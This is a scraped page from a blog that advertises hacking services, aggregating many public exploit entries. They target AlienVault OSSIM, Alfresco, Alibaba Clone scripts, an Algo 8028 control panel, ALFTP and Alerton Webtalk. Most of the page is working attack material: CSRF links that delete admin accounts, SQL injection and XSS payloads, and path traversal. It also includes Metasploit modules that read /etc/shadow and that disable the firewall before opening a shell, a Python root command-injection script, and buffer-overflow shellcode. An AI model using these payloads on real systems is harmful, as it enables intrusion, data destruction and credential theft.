Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863107211

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: [AlienVault - ossim CSRF]
# Date: [10-5-2015]
# Exploit Author: [MohamadReza Mohajerani]
# Vendor Homepage: [www.alienvault.com]
# Software Link: [https://www.alienvault.com/products/ossim]
# Version: [Tested on 4.3]

Vulnerability Details:

=====================


Multiple CSRF vectors exists within AlienVault ossim allowing the following
attacks:

1)Delete user accounts(ex.admin account)

2)Delete knowledge DB items

Exploit code(s):

===============

The only thing the attacker needs to do is sending the following link to
the victim via GET request , if the victim authenticated on the ossim and
click on the link the following attacks can be occurred :

1)For deleting the
knowledge DB items just send the link below:
https://ossim-ip/ossim/repository/repository_delete.php?id_document=10232


[id_document is the item number which you want to delete (it starts from 1)]

2)For deleting the user accounts (ex.admin account) use the link below :
https://ossim-ip/ossim/session/deleteuser.php?user=admin&_=1444042812845

[the random number (1444042812845) is not important at all and you can
change the number to whatever you want]



Severity Level:

================
High
HireHackking 
source: https://www.securityfocus.com/bid/62790/info

Open Source SIEM (OSSIM) is prone to multiple SQL-injection vulnerabilities.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Open Source SIEM (OSSIM) 4.3.0 and prior are vulnerable. 

http://www.example.com/RadarReport/radar-iso27001-potential.php?date_from=%Inject_Here%

http://www.example.com/RadarReport/radar-iso27001-A12IS_acquisition-pot.php?date_from=%Inject_Here%
HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize
		super(
			'Name'        => 'Alienvault OSSIM av-centerd Util.pm get_file Information Disclosure',
			'Description' => %q{
				This module exploits an information disclosure vulnerability found within the get_file
				function in Util.pm. The vulnerability exists because of an unsanitized $r_file parameter
				that allows for the leaking of arbitrary file information.
			},
			'References'  =>
			[
				[ 'CVE', '2014-4153' ],
				[ 'ZDI', '14-207' ],
				[ 'URL', 'http://forums.alienvault.com/discussion/2806' ],
			],
			'Author'      => [ 'james fitts' ],
			'License'     => MSF_LICENSE,
			'DisclosureDate' => 'Jun 13 2014')

		register_options([
			Opt::RPORT(40007),
			OptBool.new('SSL',   [true, 'Use SSL', true]),
			OptString.new('FILE', [ false, 'This is the file to download', '/etc/shadow'])
		], self.class)
	
	end

	def run

		soap =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n"
		soap += "<soap:Envelope xmlns:soap=\"http:\/\/schemas.xmlsoap.org/soap/envelope/\"\r\n"
		soap += "xmlns:soapenc=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding/\" xmlns:xsd=\"http:\/\/www.w3.org\/2001\/XMLSchema\"\r\n"
		soap += "xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\r\n"
		soap += "soap:encodingStyle=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\">\r\n"
		soap += "<soap:Body>\r\n"
		soap += "<get_file xmlns=\"AV\/CC\/Util\">\r\n"
		soap += "<c-gensym3 xsi:type=\"xsd:string\">All</c-gensym3>\r\n"
		soap += "<c-gensym5 xsi:type=\"xsd:string\">423d7bea-cfbc-f7ea-fe52-272ff7ede3d2</c-gensym5>\r\n"
		soap += "<c-gensym7 xsi:type=\"xsd:string\">#{datastore['RHOST']}</c-gensym7>\r\n"
		soap += "<c-gensym9 xsi:type=\"xsd:string\">#{Rex::Text.rand_text_alpha(4 + rand(4))}</c-gensym9>\r\n"
		soap += "<c-gensym11 xsi:type=\"xsd:string\">#{datastore['FILE']}</c-gensym11>\r\n"
		soap += "</get_file>\r\n"
		soap += "</soap:Body>\r\n"
		soap += "</soap:Envelope>\r\n"

		res = send_request_cgi(
			{
				'uri'	=>	'/av-centerd',
				'method'	=>	'POST',
				'ctype'		=>	'text/xml; charset=UTF-8',
				'data'		=>	soap,
				'headers'	=>	{
					'SOAPAction'	=>	"\"AV/CC/Util#get_file\""
				}
			}, 20)

		if res && res.code == 200
			print_good("Dumping contents of #{datastore['FILE']} now...")
			data = res.body.scan(/(?<=xsi:type="soapenc:Array"><item xsi:type="xsd:string">)[\S\s]+<\/item><item xsi:type="xsd:string">/)
			puts data[0].split("<")[0]
		else
			print_bad("Something went wrong...")
		end

	end

end
__END__

/usr/share/alienvault-center/lib/AV/CC/Util.pm

sub get_file {
    my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file )
        = @_;
    my $file_content;

    verbose_log_file(
        "GET FILE      : Received call from $uuid : ip source = $admin_ip, hostname = $hostname :($funcion_llamada,$nombre,$r_file)"
    );

    if ($r_file =~  /[;`\$\<\>\|]/) {
        console_log_file("Not allowed r_file: $r_file in get_file\n");
        my @ret = ("Error");
        return \@ret;
    }

    if ( !-f "$r_file" ) {
        #my @ret = ("Error");
        verbose_log_file("Error file $r_file not found!");
        # Return empty file if not exists
        my @ret = ( "", "d41d8cd98f00b204e9800998ecf8427e", "$systemuuid" );
        return \@ret;
    }

    my $md5sum = `md5sum $r_file | awk {'print \$1'}` if ( -f "$r_file" );

    if ( open( my $ifh, $r_file ) ) {

        binmode($ifh);
        $file_content = do { local $/; <$ifh> };
        close($ifh);

        my @ret = ( "$file_content", "$md5sum", "$systemuuid" );
        return \@ret;

    }
    else {
        my @ret = ("Error");
        verbose_log_file("Error file $r_file not found!");
        return \@ret;

    }

}
HireHackking 
require 'msf/core'
require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include REXML

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Alienvault OSSIM av-centerd Command Injection get_license',
			'Description'	=> %q{
				This module exploits a command injection flaw found in the get_license
				function found within Util.pm. The vulnerability is triggered due to an
				unsanitized $license_type parameter passed to a string which is then
				executed by the system.
			},
			'Author' => [ 'james fitts' ],
			'License' => MSF_LICENSE,
			'References' =>
				[
					[ 'CVE', '2014-5210' ],
					[ 'ZDI', '14-294' ],
					[ 'BID', '69239' ],
					[ 'URL', 'https://www.alienvault.com/forums/discussion/2690' ]
				],
			'Privileged'	=> true,
			'Platform'		=> 'unix',
			'Arch'			=> ARCH_CMD,
			'DefaultOptions' =>
				{
					'SSL' => true,
				},
			'Payload' =>
				{
					'Compat'	=> {
						'RequiredCmd'	=> 'perl netcat-e openssl python gawk'
					}
				},
			'DefaultTarget'	=> 0,
			'Targets' =>
				[
					['Alienvault <= 4.7.0',{}]
				],
			'DisclosureDate' => 'Aug 14 2014'))

			register_options([Opt::RPORT(40007)], self.class)
	end

	def check
		version = ""
		res = send_soap_request("get_dpkg")

		if res &&
			res.code == 200 &&
			res.headers['SOAPServer'] &&
			res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
			res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/

			version = $1
		end

		if version.empty? || version >= "4.7.0"
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCode::Appears
		end
	end

	def build_soap_request(method, pass)
		xml = Document.new
		xml.add_element(
			"soap:Envelope",
			{
				"xmlns:xsi"						=> "http://www.w3.org/2001/XMLSchema-instance",
				"xmlns:soapenc"				=> "http://schemas.xmlsoap.org/soap/encoding/",
				"xmlns:xsd"						=> "http://www.w3.org/2001/XMLSchema",
				"soap:encodingStyle"	=> "http://schemas.xmlsoap.org/soap/encoding/",
				"xmlns:soap"					=> "http://schemas.xmlsoap.org/soap/envelope/"
			})

		body = xml.root.add_element("soap:Body")
		m = body.add_element(method, { 'xmlns'	=> "AV/CC/Util" })

		args = []
		args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
		args[0].text = "All"

		args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
		args[1].text = "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2"

		args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
		args[2].text = "#{datastore['RHOST']}"

		args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
		args[3].text = "#{rand_text_alpha(4 + rand(4))}"

		args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
		args[4].text = "#{rand_text_alpha(4 + rand(4))}"

		if pass == '0'
			args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
			perl_payload =  "system(decode_base64"
			perl_payload += "(\"#{Rex::Text.encode_base64("iptables --flush")}\"))"
			args[5].text = "|perl -MMIME::Base64 -e '#{perl_payload}';"
		elsif pass == '1'
			args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
			perl_payload =  "system(decode_base64"
			perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
			args[5].text = "|perl -MMIME::Base64 -e '#{perl_payload}';"
		end

		xml.to_s
	end

	def send_soap_request(method, timeout=20, action)
		if action == 'disable'
			soap = build_soap_request(method, '0')
		elsif action == 'pop_shell'
			soap = build_soap_request(method, '1')
		end

		res = send_request_cgi({
			'uri'		=> '/av-centerd',
			'method'	=> 'POST',
			'ctype'		=> 'text/xml; charset=UTF-8',
			'data'		=> soap,
			'headers'	=> {
				'SOAPAction'	=> "\"AV/CC/Util##{method}\""
			}
		}, timeout)

		res
	end

	def exploit
		print_status("Disabling firewall...")
		send_soap_request("get_license", 1, "disable")

		print_status("Popping shell...")
		send_soap_request("get_license", 1, "pop_shell")
	end
end
__END__

/usr/share/alienvault-center/lib/AV/CC/Util.pm

sub get_license() {
    my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $license, $license_type ) = @_;
    verbose_log_file(
        "LICENSE $license_type:Received call from $uuid : ip source = $admin_ip, hostname = $hostname:($funcion_llamada,$nombre,$license,$license_type)"
    );

    my $deb='/usr/share/ossim-installer/temp/avl.deb';
    my $header='/usr/share/ossim-installer/temp/header';

    unlink $deb if ( -f $deb ); #delete previous file if found
    unlink $header if ( -f $header ); #delete previous file if found

    my $user_agent_uuid = AV::uuid::get_uuid;
       $SIG{CHLD} = 'DEFAULT';
    my $license_encoded = uri_escape($license);
    my $package = system ( "curl --proxy-anyauth -K /etc/curlrc --max-time 20 --user-agent $user_agent_uuid --dump-header $header -o $deb http://data.alienvault.com/avl/$license_type/?license=$license_encoded" );
        $SIG{CHLD} = 'IGNORE';

    my @out = q{};

    if ( !-e $header || -z $header ) {
        @out = ( '1', 'Imposible to connect. Please check your network configuration' );
        unlink $header;
        return \@out;
    }

    if ( -e $deb ) {

        open HEADERFILE, "< $header" or die "Not  $!";
        my @header_content = <HEADERFILE>;
        close(HEADERFILE);
        my $response_ok = 0;
        foreach (@header_content) {

            if ( $_ =~ / 200 OK/) {
                $response_ok = 1;
            }
        }
        if ( $response_ok == 0 ) {
            @out = ( '1', 'Imposible to connect. Please check your network configuration' );
            unlink $header;
            unlink $deb;
            return \@out;
        }


        $SIG{CHLD} = 'DEFAULT';
        my $command = "/usr/bin/dpkg -i --force-confnew $deb";
        verbose_log_file ("LICENSE $license_type: $command");
        my $result = qx{$command};
        $SIG{CHLD} = 'IGNORE';
        $result >>= 8 ;
        if ( $result == 0 ) {
            verbose_log_file ("LICENSE $license_type: SUCCESS. Installed");
            unlink $deb;
            unlink $header;
            @out = ( '0', 'SUCCESS. Installed' );
            return \@out;
        }
        else
        {
            verbose_log_file ("LICENSE $license_type: ERROR. Install failed");
            @out = ( '2', 'ERROR. Install failed' );
            unlink $deb;
            unlink $header;
            return \@out;
        }
    }
    else
    {
        my $error_msg;
        verbose_log_file ("LICENSE $license_type: ERROR MSG");
        open LFILE, "< $header" or die "Not  $!";
        my @header_msg = <LFILE>;
        close(LFILE);
        foreach(@header_msg){
            verbose_log_file ($_);
            if ($_ =~ m/X-AV-ERROR/)
            {
                $error_msg = $_;
            }
        }
        unlink $header;

        @out = ( '2', substr($error_msg, 12, -1)); # Remove 'X-AV-ERROR: 'and \n
        return \@out;
    }
}
HireHackking 
source: https://www.securityfocus.com/bid/61456/info

Open Source SIEM (OSSIM) is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Open Source SIEM (OSSIM) 4.2.3 is vulnerable; other versions may also be affected.

https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>

POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah


POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>
HireHackking 
source: https://www.securityfocus.com/bid/62899/info

Open Source SIEM (OSSIM) is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to gain access to arbitrary system files. Information harvested may aid in launching further attacks.

Open Source SIEM (OSSIM) 4.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/ossim/ocsreports/tele_compress.php?timestamp=../../../../etc/ossim
HireHackking 
# Exploit Title: Alienor Web Libre 2.0 - SQL Injection
# Dork: N/A
# Date: 2018-11-08
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://alienor.org/
# Software Link: https://excellmedia.dl.sourceforge.net/project/alienorweblibre/alienorweblibre.zip
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php
# 
POST /[PATH]/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=aehrspv1bfhbp1iqhkl1107vd7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
identifiant=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&mot_de_passe=&inventaire=Inventaire
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2018 22:07:19 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title:  AlienIP 2.41 - Denial of Service (PoC)
# Author: Arturo de la Cruz Tellez
# Discovery Date: 2018-10-17
# Vendor Homepage: http://www.armcode.com
# Tested Version: 2.41
# Tested on OS: Microsoft Windows 10 Home Single Language x64
# Versión	10.0.10240 compilación 10240

# PoC
# Steps to produce the crash
# 1.- Run python code : python AlienIP2.41.py
# 2.- Open AlienIP2.41.txt and copy context to clipboard
# 3.- Open AlienIP.exe
# 4.- Paste clipboard on IP address or Country 
# 5.- Click in Locate host
# 5.- Enter
# 6.- Crashed alienip.exe dejo de funcionar

buffer = "\x41" * 200 + "." + "\x41" * 200 + "." + "\x41" * 200 + "." + "\x41" * 69
f = open ("AlienIP2.41.txt", "w")
f.write(buffer)
f.close()
HireHackking 
source: https://www.securityfocus.com/bid/48642/info

The Alice Modem is prone to a cross-site scripting vulnerability and a denial-of-service vulnerability because the device fails to properly handle user-supplied input.

An attacker may leverage these issues to cause a denial-of-service condition or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Successfully exploiting the cross-site scripting issue may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99


http://www.example.com/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3=
HireHackking 
# # # # #
# Exploit Title: Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://b2bbusinessdirectoryscript.com/alibaba-clone-script.html
# Demo: http://thealidemox.com
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
HireHackking 
# Exploit Title: Alibaba Clone B2B Script File Read Vulnerability
# Date: 2016-06-22
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://alibaba-clone.com/
# Version: All Versions
# Tested on: CentOS and Windows

Exploit :
http://site/show_page.php?page=../[FilePath]%00

Example :
http://site/show_page.php?page=../configure.php%00
HireHackking 
# Exploit Title: Alibaba Clone B2B Script Admin Authentication Bypass
# Date: 2016-05-03
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://alibaba-clone.com/
# Version: All Versions

Exploit :
For enter , simply enter the following code
http://server/admin/adminhome.php?tmp=1

For each page is enough to add the following code to the end of url
example see page members :
http://server/admin/members.php?tmp=1

or add a new news :
http://server/admin/hot_news_menu.php?tmp=1

or edit news :
http://server/admin/edit_hot_news.php?hotnewsid=44&tmp=1
HireHackking 
source: https://www.securityfocus.com/bid/61733/info

AlgoSec Firewall Analyzer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AlgoSec Firewall Analyzer 6.1-b86 is affected; other versions may also be vulnerable. 

http//www.example.com/afa/php/Login.php/>'><ScRiPt>alert(11111111)</ScRiPt> HTTP/1.1
HireHackking 
# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:"Algo 8028 Control Panel"
# Shodan: title:"Algo 8028 Control Panel"
# Date: 2022-06-07
# Exploit Author: Filip Carlsson
# Vendor Homepage: https://www.algosolutions.com/
# Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/
# Version: 3.3.3
# Tested on: Version 3.3.3
# CVE : N/A
# Exploit:

# Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root
# Request: POST
# Formdata:
# action: rename
# source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"
# target: /

#!/usr/bin/env python3
import sys
import requests

cookie=None

def main():
    # check if provided 3 args
    if len(sys.argv) != 4:
        print_help()
        return
    else:
        host = sys.argv[1]
        password = sys.argv[2]
        command = sys.argv[3]

        if login(host, password):
            # if login was successful, send command
            send_command(host, command)

def print_help():
    print("Usage: algo.py 192.168.1.123 password command")
    print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")

def login(host, password):
    url = f"http://{host}/index.lua"
    data = {"pwd": password}
    res = requests.post(url, data=data)

    # check if html contains "Invalid Password"
    if "Invalid Password" in res.text:
        print("Invalid password")
        return False
    else:
        # save cookie
        global cookie
        cookie = res.cookies
        print("Successfully logged in\n")
        return True

def send_command(host, command):
    url = f"http://{host}/control/fm-data.lua"
    data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}
    res = requests.post(url, data=data, cookies=cookie)

    # get http://host/cmd.txt
    url = f"http://{host}/a.txt"
    res = requests.get(url)

    # if "404 Not Found" in text then command was not executed
    if "404 Not Found" in res.text:
        print("Command was not executed (404)")
    else:
        print(res.text)

    # delete cmd.txt
    url = f"http://{host}/control/fm-data.lua"
    data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}
    requests.post(url, data=data, cookies=cookie)

if __name__ == "__main__":
    main()
HireHackking 
# Exploit Title: ALFTP 5.31 - Local Buffer Overflow (SEH Bypass)        
# Exploit Author: Gokul Babu                  
# Vendor Homepage: http://www.altools.com/downloads/alftp.aspx                    
# Vulnerable Software: http://advert.estsoft.com/?event=201001127730323               
# Tested on: Windows XP Professional SP3 -Version-2002                    
# Steps to reproduce-1: (eip overwrite-88-windows-XP)
# Paste the contents of alftp.txt in 'options->Preference->Security->New password &Confirm password' 

#seh- 0041A6EF "\xEF\xA6\x41"
#address to jump 0012FA7A
#nseh- "\xEB\xAC\x90\x90"
#winexec address 0x7c862aed

#!/usr/bin/python

shellcode=("\x33\xC0"
"\x50"
"\x68\x63\x61\x6C\x63"
"\x8B\xC4"
"\x50"
"\xE8\x61\x30\x73\x7C")

buf="\x90"*4 + shellcode + "\x90"*(80-len(shellcode)) + "\xEB\xAC\x90\x90" + "\xEF\xA6\x41"

f=open("alftp.txt","w")
f.write(buf)
f.close()
HireHackking 
# Exploit Title: Alfresco 5.2.4 - Persistent Cross-Site Scripting
# Date: 2020-03-02
# Exploit Author: Romain LOISEL & Alexandre ZANNI (https://pwn.by/noraj) - Pentesters from Orange Cyberdefense France
# Vendor Homepage: https://www.alfresco.com/
# Software Link: https://www.alfresco.com/ecm-software
# Version: Alfresco before 5.2.4
# Tested on: 5.2.4
# CVE : CVE-2020-8776, CVE-2020-8777, CVE-2020-8778
# Security advisory: https://gitlab.com/snippets/1937042


### Stored XSS n°1 - Document URL - CVE-2020-8776 (found by Alexandre ZANNI)

Each file has a set of properties than can be edited by any authenticated user
that have write access on the project or the file.

The **URL** property of the file provided by the user is injected in the `href`
attribute of the HTML link without a proper escaping.

- Where? In URL property
- Payload: `" onmouseover="alert(document.cookie)"`
- Details: On the document explorer, the value is injected in a span tag. But on the detailed view of the file, it's inserted in the `href` attribute of a `a` tag. `http://` is prefixed before the payload provided by the user but can be bypassed. The generated vulnerable link will look like that:
  ```html
  <a target="_blank" href="http://" onmouseover="alert(document.cookie)" "=" ">http://" onmouseover="alert(document.cookie)"</a>
  ```
- Privileges: It requires write privileges to store it, any user with read access can see it.
- Steps to reproduce:
  1. Go to _Document Library_
  2. Upload a file or click _Edit properties_ on an existing file
  3. Enter the payload in the URL property
  4. Click on the file title to go on the detailed page of the file
  5. Hover the displayed link to trigger the XSS

### Stored XSS n°2 - User profile photo upload / Document viewing - CVE-2020-8777 (found by Alexandre ZANNI)

There is no file restriction for photo uploading in the user profile page.
Then the profile picture can be seen in the browser.

- Where? In user profile photo
- Payload:
  ```xml
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <polygon id="triangle" points="0,0 0,200 200,200 200,0" fill="#FF6804" stroke="#000000"/>
    <script type="text/javascript">
        alert('XSS - Orange Cyberdefense');
    </script>
  </svg>
  ```
- Details: The XSS is not triggerred everywhere, only with the _View in browser_ feature.
- Privileges: Any authenticated user can store it or trigger it.
- Steps to reproduce:
  1. Go to your user profile page (`/share/page/user/<username>/profile`)
  2. In the _Photo_ section, click _Upload_ and upload the SVG payload file
  3. Use the document browser or any dashboard to find the uploaded file
  4. Click on the title to go to the detailed page of the file
  5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)

### Stored XSS n°3 - Generic file upload / Document viewing - CVE-2020-8778 (found by Romain LOISEL)

This is the generic version of the previous XSS. Uploading dangerous file types
is allowed and then they can be viewed to triggered the XSS. The difference
between the two is that this one requires right access on a project to upload
documents so the XSS is not exploitable with a read only account but the
previous one can be exploited by any user as any user is allowed to have a
profile photo.

- Where? Uploading a document anywhere
- Payload: any file type that can store and execute a JavaScript payload (eg. HTML, SVG, XML, etc.)
- Details: The XSS is triggerred only with the _View in browser_ feature.
- Privileges: Any authenticated user with write access to a project can store it and any user that have read access to the file or project can trigger it.
- Steps to reproduce:
  1. Go to a project dashboard
  2. IClick _Upload_ and upload a dangerous file
  3. Use the document browser or any dashboard to find the uploaded file
  4. Click on the title to go to the detailed page of the file
  5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)
HireHackking 
source: https://www.securityfocus.com/bid/68/info

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info

Alfresco Community Edition is prone to multiple security vulnerabilities.

An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.

Alfresco Community Edition 4.2.f and earlier are vulnerable. 

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port
HireHackking 
source: https://www.securityfocus.com/bid/68/info

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info
 
Alfresco Community Edition is prone to multiple security vulnerabilities.
 
An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.
 
Alfresco Community Edition 4.2.f and earlier are vulnerable. 

http://www.example.com/alfresco/cmisbrowser?url=http://internal_system:port
HireHackking 
'''
Security Issues in Alerton Webtalk
==================================

Introduction
------------

Vulnerabilities were identified in the Alerton Webtalk Software supplied by
Alerton.  This software is used for the management of building automation
systems.  These were discovered during a black box assessment and therefore
the vulnerability list should not be considered exhaustive.  Alerton has
responded that Webtalk is EOL and past the end of its support period.  Customers
should move to newer products available from Alerton.  Thanks to Alerton for prompt
replies in communicating with us about these issues.

Versions 2.5 and 3.3 were both confirmed to be affected by these issues.

Webtalk-01 - Password Hashes Accessible to Unauthenticated Users
----------------------------------------------------------------

Severity: **High**

Password hashes for all of the users configured in Alerton Webtalk are
accessible via a file in the document root of the ‘webtalk’ user.  The
location of this file is configuration dependent, however the configuration file is
accessible as well (at a static location, /~webtalk/webtalk.ini).  The
password
database is a sqlite3 database whose name is based on the bacnet rep and job
entries from the ini file.

A python proof of concept to reproduce this issue is in an appendix.

Recommendation: Do not store sensitive data within areas being served by the
webserver.

Webtalk-02 - Command Injection for Authenticated Webtalk Users
--------------------------------------------------------------

Severity: **High**

Any user granted the “configure webtalk” permission can execute commands as
the root user on the underlying server.  There appears to be some effort of
filtering command strings (such as rejecting commands containing pipes and
redirection operators) but this is inadequate.  Using this vulnerability, an
attacker can add an SSH key to the root user’s authorized_keys file.

GET
/~webtalk/WtStatus.psp?c=update&updateopts=&updateuri=%22%24%28id%29%22&update=True
HTTP/1.1
Host: test-host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: NID=...; _SID_=...; OGPC=...:
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 20:34:26 GMT
Server: Apache
cache-control: no-cache
Set-Cookie: _SID_=...; Path=/;
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2801

...
